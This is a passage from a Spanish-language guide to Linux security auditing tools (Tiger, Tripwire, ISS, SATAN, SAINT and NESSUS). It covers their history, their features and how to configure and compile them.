chequeos que reliza Tiger son:&lt;br /&gt;&lt;br /&gt;        * aliases de mail.&lt;br /&gt;&lt;br /&gt;        * exportación por NFS.&lt;br /&gt;&lt;br /&gt;        * variables de inetd.&lt;br /&gt;&lt;br /&gt;        * variables del PATH.&lt;br /&gt;&lt;br /&gt;        * ficheros .rhosts y .netrc.&lt;br /&gt;&lt;br /&gt;        * permisos de ficheros y directorios.&lt;br /&gt;&lt;br /&gt;        * avisa de la existencia de parches de mantenimiento.&lt;br /&gt;&lt;br /&gt;        * paths que se encuentren en ficheros que den algún warning.&lt;br /&gt;&lt;br /&gt;        * ofrece ayuda sobre todos los temas.&lt;br /&gt;&lt;br /&gt;        * lanza automáticamente el CRACK.&lt;br /&gt;&lt;br /&gt;     Tiger está disponible para Linux 2.x, gracias al trabajo realizado por&lt;br /&gt;     Robert L.  Ziegler, aunque la versión distribuida originalmente tenía&lt;br /&gt;     soporte para Linux 0.99.  Tiger tiene soporte para muchas&lt;br /&gt;     arquitecturas, en función de la arquitectura sobre la que se ejecuta&lt;br /&gt;     se define las comprobaciones que va a realizar.&lt;br /&gt;&lt;br /&gt;     Por otro lado tenemos a Tripwire, un programa que comprueba la&lt;br /&gt;     integridad de ficheros y directorios.  Genera, en su primera pasada&lt;br /&gt;     información sobre éstos en una base de datos, y posteriormente los&lt;br /&gt;     comprueba y avisa de cualquier diferencia (incluso borrados y&lt;br /&gt;     añadidos).  Ejecutado de manera regular permite encontrar cambios en&lt;br /&gt;     ficheros críticos que podrían haber tenido lugar por la entrada de un&lt;br /&gt;     "intruso".&lt;br /&gt;&lt;br /&gt;     Lo que Tripwire hace es marcar en la base de datos tanto los permisos&lt;br /&gt;     y usuarios de los ficheros como un código de redundancia cíclica (CRC)&lt;br /&gt;     con el que luego comprueba si ha sido modificado un determinado&lt;br /&gt;     fichero.  El paquete `tripwire' está disponible para Debian GNU/Linux.&lt;br /&gt;&lt;br /&gt;     Finalmente dentro de este tipo de programas y en la misma época, se&lt;br /&gt;     encuentra el ISS (Internet Security Scanner), de Christoper Klaus.  En&lt;br /&gt;     un principio el programa fue realizado por un interés, por parte del&lt;br /&gt;     autor, de conocer los problemas de seguridad en Internet en 1993.&lt;br /&gt;     Posteriormente, el autor creó una compañía alrededor de este producto,&lt;br /&gt;     y distinguió la versión comercial de la versión de prueba, que carece&lt;br /&gt;     de interfaz gráfico y de parte de la funcionalidad que tiene la&lt;br /&gt;     primera.&lt;br /&gt;&lt;br /&gt;     En cualquier caso ISS se trata de una de las primeras herramientas&lt;br /&gt;     que, a pesar de carecer del interfaz gráfico que luego proveerá SATAN&lt;br /&gt;     y otras herramientas posteriores, pone en marcha el desarrollo de&lt;br /&gt;     herramientas auditoras de seguridad de redes automatizadas.  COPS,&lt;br /&gt;     TIGER y Tripwire constituyen el primer paso ya que se tratan de&lt;br /&gt;     herramientas que sólo ven el sistema sobre el que se ejecutan y&lt;br /&gt;     comprueban las vulnerabilidades en éste.  ISS es capaz de comprobar&lt;br /&gt;     vulnerabilidades comunes en una o varias subrededes (en la línea de&lt;br /&gt;     comandos se le dará un rango de una red que indica las máquinas que&lt;br /&gt;     debe comprobar)&lt;br /&gt;&lt;br /&gt;     ISS es un programa monolítico escrito en C, que realiza comprobaciones&lt;br /&gt;     sobre los puertos abiertos en el servidor y de los servicios RPC&lt;br /&gt;     ofrecidos, estudio de las particiones exportadas por NFS, observación&lt;br /&gt;     del servidor de correo, comprobaciones sobre el NIS (antes llamado YP&lt;br /&gt;     - Yellow Pages) y accesos mediante telnet haciendo uso de pares de&lt;br /&gt;     usuario/password comunes (que en algunos casos venían de fábrica y no&lt;br /&gt;     se modificaban).&lt;br /&gt;&lt;br /&gt;     ISS se convierte así en uno de los primeros programas que implementan&lt;br /&gt;     estas baterías de pruebas, de forma que para un administrador resulta&lt;br /&gt;     más sencillo comprobar todas las máquinas a su cargo de un sólo&lt;br /&gt;     vistazo.  Más tarde, aunque muy cercano en el tiempo, llegaría SATAN,&lt;br /&gt;     causando una auténtica revolución.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2.3. SATAN&lt;br /&gt;----------&lt;br /&gt;&lt;br /&gt;     SATAN es el acrónimo de Security Administrator Tool for Analyzing&lt;br /&gt;     Networks (ver listado Section A.1, `Curiosidades de SATAN').  Se&lt;br /&gt;     trata, más que de un programa, de un conjunto de programas unidos en&lt;br /&gt;     un interfaz común.  Cuando éste fue escrito por Dan Farmen&lt;br /&gt;     (programador de COPS) y Wietse Venema de la Universidad de Tecnología&lt;br /&gt;     de Eindhoven, lo que se hizo fue poner una interfaz gráfica que ya se&lt;br /&gt;     preveía poderosa, y al mismo tiempo "amigable", como es el WWW a un&lt;br /&gt;     conjunto de programas, algunos ya existentes y otros creados de cero&lt;br /&gt;     por sus autores, que probaban vulnerabilidades conocidas.&lt;br /&gt;&lt;br /&gt;     SATAN no es una herramienta novedosa en el aspecto técnico, pero causó&lt;br /&gt;     una auténtica revolución.  Las herramientas de este tipo, pueden&lt;br /&gt;     convertirse, como todas las herramientas, en utensilios útiles o en&lt;br /&gt;     armas mortíferas.  Los autores tuvieron la "osadía", entonces, de&lt;br /&gt;     poner el resultado de su trabajo en Internet y permitiendo la&lt;br /&gt;     distribución libre de binarios y fuentes.  Había otros programas&lt;br /&gt;     disponibles libremente como COPS, para probar vulnerabilidades en un&lt;br /&gt;     sólo sistema, o el ISS, para probarlas en sistemas remotos, pero este&lt;br /&gt;     último, por ejemplo, carecía de suficiente funcionalidad y de un&lt;br /&gt;     interfaz gráfico en la versión pública, aunque sí en la versión&lt;br /&gt;     comercial.  Los autores decidieron distribuirlo de forma libre ya que&lt;br /&gt;     su experiencia les indicaba que los esfuerzos de limitar la&lt;br /&gt;     distribución de información de seguridad y herramientas para este fin&lt;br /&gt;     no había mejorado las cosas, dado que los elementos "no deseables" los&lt;br /&gt;     conseguían de todas formas y las personas que deberían haber tenido&lt;br /&gt;     acceso a ellas no lo habían tenido debido a limitaciones arbitrarias o&lt;br /&gt;     injustas.&lt;br /&gt;&lt;br /&gt;     Esto tuvo como consecuencia una grave polémica, por la cual incluso&lt;br /&gt;     uno de los creadores fue despedido de su trabajo.  SATAN fue concebida&lt;br /&gt;     como una herramienta para admininistradores, pero también podía ser&lt;br /&gt;     usada como un arma por crackers.  Incluso se diseñaron programas para&lt;br /&gt;     detectar "ataques" de SATAN, como por ejemplo Courtney (desarollado&lt;br /&gt;     por CIAC) o Gabriel.&lt;br /&gt;&lt;br /&gt;     El problema entonces, y también ahora, es que la mayor parte de los&lt;br /&gt;     administradores de sistemas no eran capaces de estar al tanto del&lt;br /&gt;     conjunto de agujeros de seguridad que salían en programas de uso&lt;br /&gt;     frecuente en muchos sistemas UNIX.  Un cracker, bien informado, podía&lt;br /&gt;     hacer uso de estas vulnerabilidades reconocidas (pero aún no&lt;br /&gt;     resueltas), para atacar a sistemas que aún no se habían actualizado a&lt;br /&gt;     una versión del programa que resolviera los fallos.&lt;br /&gt;&lt;br /&gt;     En un sistema concurren muchos servicios que se "ven" en el exterior,&lt;br /&gt;     como por ejemplo: servidores de WWW, de correo o de FTP, gestores de&lt;br /&gt;     bases de datos, exportación de discos via NFS, etc...  Estar al tanto&lt;br /&gt;     de actualizaciones de todos estos y de la forma en que pueden ser&lt;br /&gt;     usados para obtener información de un servidor que puede servir e&lt;br /&gt;     intentar acceder a éste puede ocupar gran parte del tiempo de un&lt;br /&gt;     administrador de sistemas.&lt;br /&gt;&lt;br /&gt;     Estar al tanto de listas de distribución como bugtrack, los avisos del&lt;br /&gt;     CERT (ver listado Section A.4.1, `Dónde buscar información relativa a&lt;br /&gt;     la seguridad') no es fácil y, además, si no se hace de forma contínua&lt;br /&gt;     se puede dejar un "agujero" que un intruso puede intentar aprovechar.&lt;br /&gt;&lt;br /&gt;     SATAN abrió la polémica al poner en manos de todo el mundo un&lt;br /&gt;     programa, de fácil uso, que descubriera todas estas vulnerabilidades a&lt;br /&gt;     un tiempo, a la vez que ponía al descubierto información sobre las&lt;br /&gt;     relaciones entre máquinas, lo que los autores denominaron "relación de&lt;br /&gt;     Confianza".&lt;br /&gt;&lt;br /&gt;     SATAN obtiene tanta información como le es posible de servicios de red&lt;br /&gt;     como finger, NFS, NIS, ftp y tftp, rexd, y otros.  La información&lt;br /&gt;     extraída no sólo indica las fuentes por las que un intruso podría&lt;br /&gt;     ganar información del sistema, sino también fallos potenciales de&lt;br /&gt;     seguridad generalmente debidos a una mala configuración de estos&lt;br /&gt;     servicios, problemas conocidos en herramientas de red o malas&lt;br /&gt;     políticas de seguridad.&lt;br /&gt;&lt;br /&gt;     Pero el concepto novedoso de SATAN es el extraer, de la información&lt;br /&gt;     inicial y con un conjunto de reglas configurables por el usuario, las&lt;br /&gt;     relaciones de dependencia entre máquinas o servicios dados de una a&lt;br /&gt;     otra.  Esto hace posible el análisis de todos los servidores de una&lt;br /&gt;     red para analizar las implicaciones de la política de confianza y&lt;br /&gt;     servicios ofrecidos que, en palabras de los autores "les permitarán&lt;br /&gt;     hacer decisiones razonables sobre el nivel de seguridad de los&lt;br /&gt;     sistemas involucrados".  Los autores de SATAN hablan de confianza&lt;br /&gt;     cuando recursos locales de un servidor (discos duros, acceso de&lt;br /&gt;     usuarios, servidores de X...) son usados por un cliente con o sin la&lt;br /&gt;     autorización debida.  Si el sistema X confía en el Y, un intruso que&lt;br /&gt;     pueda poner en peligro Y podrá también poner en peligro X.  Los&lt;br /&gt;     autores indican que cualquier tipo de confianza puede ser subvertida,&lt;br /&gt;     no sólo porque se pueda acceder a Y, sino porque el sistema que valida&lt;br /&gt;     el acceso de Y pueda estar fuera del control del administrador.  Por&lt;br /&gt;     ejemplo, si se identifica a Y por el nombre de la máquina y se&lt;br /&gt;     subvierte el servidor de nombres (el DNS), o si se hace uso de la&lt;br /&gt;     técnica de IP spoofing para hacerle creer a X que otra máquina es Y.&lt;br /&gt;&lt;br /&gt;     A este respecto los autores de SATAN escribieron un excelente ensayo&lt;br /&gt;     sobre seguridad en sistemas UNIX y en Internet en general que se&lt;br /&gt;     titula "Improving the Security of Your Site by Breaking Into It"&lt;br /&gt;     ("Mejorar la seguridad de su servidor entrando a la fuerza en él"),&lt;br /&gt;     lectura recomendable para todos aquellos interesados en seguridad (ver&lt;br /&gt;     listado Section A.4.1, `Dónde buscar información relativa a la&lt;br /&gt;     seguridad')&lt;br /&gt;&lt;br /&gt;     Hay que decir que SATAN es una herramienta que podría considerarse ya&lt;br /&gt;     obsoleta, las vulnerabilidades que intenta descubrir, eran comunes (y&lt;br /&gt;     conocidas) cuando fue diseñada, pero se tratan de "agujeros" que, hoy&lt;br /&gt;     por hoy, deberían estar "tapados", si se detecta algunos de estos es&lt;br /&gt;     debido a una incompetencia por parte del administrador de la máquina.&lt;br /&gt;     Sin embargo, donde aún sí resulta útil SATAN es en la función de&lt;br /&gt;     recopilación de información y en la aplicabilidad del concepto de&lt;br /&gt;     confianza.&lt;br /&gt;&lt;br /&gt;2.3.1. Ejecución de SATAN&lt;br /&gt;-------------------------&lt;br /&gt;&lt;br /&gt;     SATAN debe ser ejecutado como usuario _root_ (superusuario) ya que&lt;br /&gt;     algunos de los tests que realiza necesita los requisitos de este&lt;br /&gt;     usuario para funcionar (ver listado Section A.2, `El problema de&lt;br /&gt;     ejecución de binarios como root').  Hace uso, por ejemplo, de sockets&lt;br /&gt;     abriéndolos como SOCK_RAW, para hacer accesos a bajo nivel de éstos.&lt;br /&gt;     Es posible ejecutar SATAN como cualquier otro usuario, pero algunos de&lt;br /&gt;     los tests, no funcionarán en absoluto.&lt;br /&gt;&lt;br /&gt;     Han existido algunos problemas a este respecto en la distribución de&lt;br /&gt;     SATAN, ya que si el programa se ejecuta como superusuario, y el código&lt;br /&gt;     fuente está disponible, es posible que algún desaprensivo distribuya&lt;br /&gt;     una versión de SATAN "modificada" de forma que, al ejecutarla, se&lt;br /&gt;     introduciría un troyano en el sistema, es decir, la copia modificada&lt;br /&gt;     realiza más de lo que debería, enviando información, por ejemplo, de&lt;br /&gt;     nuestro sistema al exterior.  Por ello es una buena medida obtener&lt;br /&gt;     SATAN directamente de la fuente original y comprobar que no ha sido&lt;br /&gt;     modificado (mediante la suma MD5 del fichero recibido)&lt;br /&gt;&lt;br /&gt;     Para ejecutar SATAN hace falta Perl 5 (en este lenguaje están&lt;br /&gt;     programados los scripts que generan las páginas automáticamente y&lt;br /&gt;     algunos de los tests) y un navegador de WWW, bien sea textual (Lynx) o&lt;br /&gt;     gráfico (Netscape Navigator o similares).  Los programas que realizan&lt;br /&gt;     las tareas de prueba sobre los diversos sistemas se escribieron en C,&lt;br /&gt;     perl o lenguaje de la shell, utilizando código disponible en los&lt;br /&gt;     grupos de noticias (comp.sources.misc.*), y de hecho es posible añadir&lt;br /&gt;     nuevos programas a todo el conjunto de la herramienta.  Otras&lt;br /&gt;     herramientas posteriores, como Section 2.3.3, `SAINT', que se&lt;br /&gt;     comentarán más adelante, o Section 2.4, `NESSUS', hacen más fácil el&lt;br /&gt;     introducir nuevos programas mediante la descripción de reglas.&lt;br /&gt;&lt;br /&gt;     Cuando se arranca el programa, éste obtiene la configuración de los&lt;br /&gt;     ficheros localizados en el directorio _config/_.  Estos ficheros&lt;br /&gt;     indican dónde se encuentran herramientas habituales en entornos UNIX&lt;br /&gt;     (como _finger_ o _ping_) así como el navegador de WWW que se utilizará&lt;br /&gt;     (almacenado en la variable _$MOSAIC_).  Estas herramientas serán&lt;br /&gt;     utilizados por los diversos programas de los que está compuesto SATAN,&lt;br /&gt;     y se pueden configurar a mano o bien utilizando el _script_&lt;br /&gt;     proporcionado por los autores (reconfig), que busca la localización de&lt;br /&gt;     estas utilidades en el servidor en el que se instale SATAN.&lt;br /&gt;&lt;br /&gt;     Seguidamente, lanzará un servidor de WWW y el navegador de WWW que se&lt;br /&gt;     haya configurado para acceder directamente a la página principal de&lt;br /&gt;     SATAN.  Desde ésta se seleccionará 'Run SATAN', posteriormente el&lt;br /&gt;     servidor al que va a acceder, se podrá limitar si se va a probar sobre&lt;br /&gt;     el servidor o sobre su subred, el nivel del escáner y finalmente&lt;br /&gt;     'Start the scan'.  El acceso al servidor de WWW creado por SATAN (y&lt;br /&gt;     que se encuentra en un puerto dedicado, en el espacio de usuario, esto&lt;br /&gt;     es, por encima del 1024), se realiza mediante una llave de un sólo uso&lt;br /&gt;     que SATAN genera para cada ejecución.  Dado que esta llave se guarda&lt;br /&gt;     en los ficheros HTML generados por SATAN, es importante que estos&lt;br /&gt;     ficheros tengan permisos de lectura sólo para el superusuario y no&lt;br /&gt;     para otros.  Si no fuera así, cualquier usuario podría acceder al&lt;br /&gt;     servidor de WWW con la clave proporcionada en ellos y acceder a toda&lt;br /&gt;     la información disponible sobre los escáners realizados por el&lt;br /&gt;     superusuario mientras SATAN está siendo ejecutado.&lt;br /&gt;&lt;br /&gt;     En la selección de Objetivos el usuario puede seleccionar el nivel de&lt;br /&gt;     ataque: Ligero, Normal o Duro.  Un ataque "Ligero" sólo indicará los&lt;br /&gt;     servidores que existen y qué servicios de RPC (llamada remota a&lt;br /&gt;     procedimiento) ofrecen.  Un ataque "Normal" escaneará los objetivos&lt;br /&gt;     probando conexiones telnet, FTP, WWW, gopher y SMTP.  Se utilizará&lt;br /&gt;     para establecer qué sistema operativo es (aunque para esto es mejor&lt;br /&gt;     QueSO, ver listado Section A.2.1, `QueSO, un programa que indica el&lt;br /&gt;     SO').  Un ataque "Duro" buscará otras vulnerabilidades, como&lt;br /&gt;     servidores de FTP que permiten escribir a todos los usuarios o&lt;br /&gt;     servidores de confianza.&lt;br /&gt;&lt;br /&gt;     SATAN puede ejecutarse con diversas opciones que indiquen qué&lt;br /&gt;     servidor/es probar y el nivel de ataque a utilizar, así como&lt;br /&gt;     limitaciones en el número de servidores a probar.  Además muestra de&lt;br /&gt;     forma gráfica los resultados ordenando las vulnerabilidades por tipos,&lt;br /&gt;     organizadas de muy diversas maneras (por nivel de riesgo, por sistema&lt;br /&gt;     operativo...), aunque los autores indican que un trabajo a realizar&lt;br /&gt;     sería mostrar de forma más gráfica (quizás a través de un grafo) las&lt;br /&gt;     interrelaciones entre los servidores.  Existen además tutoriales que&lt;br /&gt;     dan información más en detalle de los problemas concretos de algunas&lt;br /&gt;     de las vulnerabilidades, que son útiles para que el administrador&lt;br /&gt;     busque más información antes de tomar una decisión sobre cómo arreglar&lt;br /&gt;     el problema.&lt;br /&gt;&lt;br /&gt;     Toda la información recopilada sobre las distintas máquinas se&lt;br /&gt;     almacena en una base de datos (se puede tener más de una base de datos&lt;br /&gt;     sobre máquinas), que se mantiene entre ejecuciones del programa, y es&lt;br /&gt;     útil para inferir relaciones entre máquinas que las pueda hacer&lt;br /&gt;     vulnerables.&lt;br /&gt;&lt;br /&gt;     Además SATAN es configurable con reglas (en el directorio _facts/_)&lt;br /&gt;     que le permiten inferir nueva información y detonar nuevos tests en&lt;br /&gt;     función de los servicios que se ofrezcan.  Estas reglas están escritas&lt;br /&gt;     en Perl y, a través de ellas se puede extender el programa con nuevos&lt;br /&gt;     tests.  De hecho la decisión de qué test realizar en función de la&lt;br /&gt;     información recibida se encuentra en estas reglas.&lt;br /&gt;&lt;br /&gt;2.3.2. Compilar SATAN para Linux&lt;br /&gt;--------------------------------&lt;br /&gt;&lt;br /&gt;     SATAN no fue desarrollado originalmente para GNU/Linux, sino que su&lt;br /&gt;     documentación indica que funciona en una gran variedad de sistemas&lt;br /&gt;     UNIX: SunOS 4.x y 5.x, AIX, IRIX5, HP-UX 9.x, SYSV-R4 y Ultrix 4.x.&lt;br /&gt;     Sus autores destacan que hace falta modificarlo para hacerlo funcionar&lt;br /&gt;     bajo GNU/Linux.&lt;br /&gt;&lt;br /&gt;     De hecho es así, siendo necesario modificar los ficheros que se&lt;br /&gt;     incluyen al compilar el código fuente para hacerlo funcionar con la&lt;br /&gt;     versión de la librería de C de GNU/Linux.  Aunque los cambios difieren&lt;br /&gt;     para libc5 y para libc6, básicamente debido a la redefinición de la&lt;br /&gt;     implementación de los formatos de paquete de IP e ICMP en la librería&lt;br /&gt;     estándar.  Esto se puede arreglar modificando el fichero `lcompat.h'&lt;br /&gt;     (que funciona para libc5) y comentando toda la definición del paquete&lt;br /&gt;     ip e icmp, para dejar que sea la librería de C (viene definido en el&lt;br /&gt;     fichero `/usr/include/netinet/ip.h') la que los defina.  Asimismo se&lt;br /&gt;     puede eliminar las referencias en el código fuente a la librería&lt;br /&gt;     proporcionada en el paquete, si se dispone de las cabeceras de la&lt;br /&gt;     librería de C (en Debian las proporciona el paquete `libc6-dev') para&lt;br /&gt;     compilar el programa.&lt;br /&gt;&lt;br /&gt;     Finalmente, para adaptarse a los "nuevos tiempos" y usar los módulos&lt;br /&gt;     de Perl instalados en el sistema en lugar de los proporcionados por el&lt;br /&gt;     programa (como es el caso del módulo que proporciona en Perl la&lt;br /&gt;     función _getopts_ o _ctime_), es necesario cambiar ligeramente el&lt;br /&gt;     programa principal (`satan') y algunos de los tests, que están&lt;br /&gt;     escritos en Perl.&lt;br /&gt;&lt;br /&gt;     También los autores asumen el comportamiento de la llamada al sistema&lt;br /&gt;     _select_ (que sirve para quedarse a la espera de recibir datos en&lt;br /&gt;     diversos descriptores) y se ha de modificar el fichero `tcp_scan.c'&lt;br /&gt;     que es el responsable de escanear todos los puertos TCP disponibles en&lt;br /&gt;     un servidor.&lt;br /&gt;&lt;br /&gt;     Todos estos cambios se han realizado en la versión de SATAN&lt;br /&gt;     distribuida junto con Debian.  Aunque para beneficio de los usuarios&lt;br /&gt;     de GNU/Linux se puede usar el fichero de diferencias&lt;br /&gt;     (satan-1.1.1.diff.linux).  Utilizando este fichero, realizado con el&lt;br /&gt;     programa `diff') se podrían modificar las fuentes originales (haciendo&lt;br /&gt;     uso del programa `patch', ver página de manual patch(1)).&lt;br /&gt;&lt;br /&gt;     En general, un usuario que instale SATAN dentro de una distribución de&lt;br /&gt;     GNU/Linux no tendrá que resolver estos problemas, dado que los&lt;br /&gt;     responsables de la distribución, presumiblemente, los habrán resuelto&lt;br /&gt;     para que se integre dentro de ésta.  Sin embargo no está de más&lt;br /&gt;     conocerlo, caso de que se desee obtener SATAN de la fuente original y&lt;br /&gt;     recompilarlo antes de usarlo, algo bastante aconsejable dado el hecho&lt;br /&gt;     de que va a ser el usuario con los máximos privilegios el que va a&lt;br /&gt;     hacer uso de éste.&lt;br /&gt;&lt;br /&gt;     Para compilar SATAN para Linux, una vez realizados los cambios arriba&lt;br /&gt;     indicados, es necesario, desde el directorio raíz, ejecutar _make&lt;br /&gt;     linux_ seguido de _perl reconfig_.  Posteriormente se puede configurar&lt;br /&gt;     los valores que ha obtenido automáticamente editando directamente,&lt;br /&gt;     como ya se ha dicho antes, los ficheros en el subdirectorio `config/'.&lt;br /&gt;&lt;br /&gt;2.3.3. SAINT&lt;br /&gt;------------&lt;br /&gt;&lt;br /&gt;     SAINT (Security Administrator's Integrated Network Tool) es un&lt;br /&gt;     producto de World Wide Digital Solutions Inc.  (WWDSI) derivado de&lt;br /&gt;     SATAN, realizado en 1998.  En versiones previas no se distribuía bajo&lt;br /&gt;     la misma licencia que SATAN, aunque versiones posteriores se han&lt;br /&gt;     distribuido bajo una licencia _Open Source_ (aunque no es la GPL).&lt;br /&gt;     Esta nueva licencia permite su distribución por parte de aquellos que&lt;br /&gt;     lo obtienen así como modificaciones, sin embargo no se puede cobrar su&lt;br /&gt;     uso más allá de los costes de distribución.  Las diferencias con SATAN&lt;br /&gt;     en cuanto a interfaz son mínimas, ambos hacen uso de un navegador de&lt;br /&gt;     WWW, y los pasos a dar para poner en marcha el programa son los&lt;br /&gt;     mismos.&lt;br /&gt;&lt;br /&gt;     SAINT añade a SATAN lo que éste ahora mismo no tiene y es actualidad.&lt;br /&gt;     El programa no sólo prueba las vulnerabilidades que contemplaba SATAN,&lt;br /&gt;     sino que añade comprobaciones de las vulnerabilidades conocidas hasta&lt;br /&gt;     la fecha de su creación.  Los tests incluyen comprobaciones sobre&lt;br /&gt;     servidores de WWW, POP o SMB, y nuevas reglas para dirigir el&lt;br /&gt;     funcionamiento de éste.  Además, la compañía que lo diseñó lo&lt;br /&gt;     actualiza con cierta regularidad.&lt;br /&gt;&lt;br /&gt;     A todo esto hay que añadir muchos nuevos tutoriales, hasta un total de&lt;br /&gt;     43, sobre las distintas vulnerabilidades que se puedan encontrar, que&lt;br /&gt;     ayudan al administrador dándole más información sobre el peligro de&lt;br /&gt;     ésta y sobre cómo eliminarlo.  Las vulnerabilidades están clasificadas&lt;br /&gt;     en tres categorías: Peligrosas (rojo), Proceder con Cautela (amarillo)&lt;br /&gt;     o de Categoría Desconocida (marrones), no en dos como en SATAN.&lt;br /&gt;&lt;br /&gt;     SAINT demuestra que es posible realizar un producto comercial sobre un&lt;br /&gt;     producto que se distribuye de forma gratuita, y con excelentes&lt;br /&gt;     resultados.  Además se trata de un programa que está siendo aún&lt;br /&gt;     mantenido por la compañía que lo creo, que acepta envíos de nuevos&lt;br /&gt;     módulos para su inclusión en el programa.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2.4. NESSUS&lt;br /&gt;-----------&lt;br /&gt;&lt;br /&gt;     Se han visto previamente herramientas, quizás ya algo antiguas, para&lt;br /&gt;     intentar introducir el concepto de auditores de seguridad.  Ahora toca&lt;br /&gt;     el turno de hablar de una herramienta de última generación para&lt;br /&gt;     GNU/Linux, y este es el caso de NESSUS (ver &lt;a href="http://www.nessus.org/" target="_blank"&gt;http://www.nessus.org&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;     NESSUS da un paso más alla en el diseño de herramientas de seguridad.&lt;br /&gt;     Con SATAN (y SAINT) se vió que se podía introducir una gran capacidad&lt;br /&gt;     para detectar fallos comunes haciendo uso de un sencillo interfaz.&lt;br /&gt;     Pero el uso de un interfaz WWW, aunque bueno por su facilidad de&lt;br /&gt;     manejo (y porque quizás sea el interfaz genérico más usado&lt;br /&gt;     actualmente) plantea un problema respecto a la autentificación de los&lt;br /&gt;     administradores que hagan uso de SATAN en una máquina.&lt;br /&gt;&lt;br /&gt;     Por un lado obliga a que SATAN sea ejecutado localmente por parte del&lt;br /&gt;     administrador y a que luego éste lanze el navegador en la misma&lt;br /&gt;     máquina, de hecho es el primer paso que realiza SATAN.  El problema&lt;br /&gt;     puede darse cuando se quiera instalar SATAN en una máquina que carece&lt;br /&gt;     de interfaz gráfico, es necesario exportar la aplicación (el cliente&lt;br /&gt;     de WWW) a través de la red a otra que sí lo tenga.  Esto no es&lt;br /&gt;     problema si el administrador usa _lynx_ ya que puede seguir utilizando&lt;br /&gt;     un interfaz textual para la aplicación y ejecutar el navegador en la&lt;br /&gt;     conexión remota.&lt;br /&gt;&lt;br /&gt;     Si se desea también acceder desde un servidor a otro para ejecutar&lt;br /&gt;     SATAN en aquél, es necesario que el navegador de WWW envíe en todas&lt;br /&gt;     las peticiones al servidor de WWW que SATAN lanza, el número mágico&lt;br /&gt;     que ha generado al arrancar y se encuentra almacenado en los ficheros&lt;br /&gt;     HTML.  Por ello la primera petición del navegador es a un fichero (su&lt;br /&gt;     URL es file://) y posteriormente al servidor (con el URL http://).&lt;br /&gt;     Este número es la única prueba para SATAN de que el cliente es quien&lt;br /&gt;     dice ser, si cualquier otro intercepta este número y accede al&lt;br /&gt;     servidor de SATAN podrá acceder a toda la información almacenada en&lt;br /&gt;     este, e incluso ¡hacer sus propias pruebas de seguridad sobre otros&lt;br /&gt;     servidores!  Esto se podría evitar haciendo uso del protocolo seguro&lt;br /&gt;     de conexión a servidores de WWW, _https_ (que usa el SSL de Netscape).&lt;br /&gt;&lt;br /&gt;     Esta situación no es del todo insospechada, ya que si el cliente y el&lt;br /&gt;     servidor están separados, los paquetes enviados de uno a otro, las&lt;br /&gt;     solicitudes mediante el protocolo HTTP y las respuestas mediante&lt;br /&gt;     páginas en HTML, no están cifradas ni van por un canal cifrado.&lt;br /&gt;     Cualquier "espía" en el camino de estos datos podría sacar fácilmente&lt;br /&gt;     el número utilizado como prueba de autentificación del administrador.&lt;br /&gt;&lt;br /&gt;     NESSUS es una herramienta que consta de dos módulos separados.  De un&lt;br /&gt;     lado el servidor, que debe ser ejecutado como superusuario, que es el&lt;br /&gt;     encargado de realizar los tests y que funciona como un demonio en la&lt;br /&gt;     máquina en la que se lanza, y en el otro el cliente, que puede estar&lt;br /&gt;     en otra máquina distinta.  La comunicación entre ambos se hace a&lt;br /&gt;     través de un protocolo (que los autores han llamado NTP: Nessus&lt;br /&gt;     Transfer Protocol) que, en su última versión (1 de febrero de 1999:&lt;br /&gt;     990201) puede llevarse a cabo de forma cifrada (con clave&lt;br /&gt;     pública/privada), de forma que el servidor no podría ser usado por&lt;br /&gt;     alguien que "espiara" la red y fuera capaz de obtener la palabra clave&lt;br /&gt;     utilizada.  Esta funcionalidad no estaba presente en la anterior&lt;br /&gt;     versión estable del programa (16 de octubre de 1998: 981016).&lt;br /&gt;&lt;br /&gt;     Si no se compila NESSUS con la opción de encriptación (`./configure&lt;br /&gt;     --enable-cipher'), sin embargo, la autenticación entre el cliente y el&lt;br /&gt;     servidor se realiza mediante un nombre de usuario y una palabra clave&lt;br /&gt;     cuyo intercambio debe darse antes de solicitarle ninguna acción al&lt;br /&gt;     servidor.  Las palabras clave están almacenadas en un fichero en el&lt;br /&gt;     servidor, y es posible limitar sobre qué máquinas puede realizar&lt;br /&gt;     pruebas de seguridad a un usuario dado.&lt;br /&gt;&lt;br /&gt;     Existen clientes para GNU/Linux, usando la librería gráfica `gtk' (la&lt;br /&gt;     última versión de NESSUS utiliza la versión 1.1), con la que se ha&lt;br /&gt;     diseñado el famoso programa `Gimp' y el entorno `GNOME' (ver&lt;br /&gt;     &lt;a href="http://www.gnome.org/" target="_blank"&gt;http://www.gnome.org&lt;/a&gt;, pero también los hay escritos en Java y para&lt;br /&gt;     Windows NT.  El servidor, sin embargo, ha de ejecutarse en un servidor&lt;br /&gt;     Linux.  La interfaz gráfica con gtk (es expléndida, con un buen&lt;br /&gt;     aspecto y muy sencilla de manejar.  Además de todo esto, y algo a&lt;br /&gt;     destacar por su tremenda importancia, NESSUS está siendo desarrollado&lt;br /&gt;     bajo la licencia GPL, lo que significa que su modelo de desarrollo es&lt;br /&gt;     abierto (cualquiera puede colaborar) y que el código fuente del&lt;br /&gt;     programa está disponible para su revisión.&lt;br /&gt;&lt;br /&gt;     El diseño de NESSUS, como se puede ver en el código fuente, es muy&lt;br /&gt;     modular.  Todos los tests (algunos los llamarían "ataques") están&lt;br /&gt;     escritos por separado, y es fácil insertar nuevos programas.&lt;br /&gt;     Actualmente tiene más de 180 pruebas de seguridad de diversa índole,&lt;br /&gt;     que el interfaz agrupa por tipos según sean, por ejemplo: agujeros de&lt;br /&gt;     sendmail, problemas con servidores de FTP, problemas con servidores de&lt;br /&gt;     WWW...  Aunque las vulnerabilidades no están tan detalladas como en&lt;br /&gt;     otras herramientas (veáse las anteriores), si se da una breve&lt;br /&gt;     descripción del problema y una ayuda de cómo solucionarlas.&lt;br /&gt;&lt;br /&gt;     Al igual que SATAN o SAINT, NESSUS puede expandir los servidores que&lt;br /&gt;     conoce de varias maneras: vía subredes de un dominio, haciendo uso del&lt;br /&gt;     DNS o cuando ve nuevos servidores a los que se les da acceso mediante&lt;br /&gt;     NFS.  Se pueden definir reglas para limitar a los servidores que va a&lt;br /&gt;     acceder, de una forma más compleja que hacía SATAN (y por ende SAINT),&lt;br /&gt;     en éste es posible definir la "profundidad" de la prueba y servidores&lt;br /&gt;     que nunca serán probados, pero en NESSUS es posible limitar de tres&lt;br /&gt;     formas: no probar ('n'), sí probar ('y') y no probar _nunca_ ('N').&lt;br /&gt;     Por ejemplo la 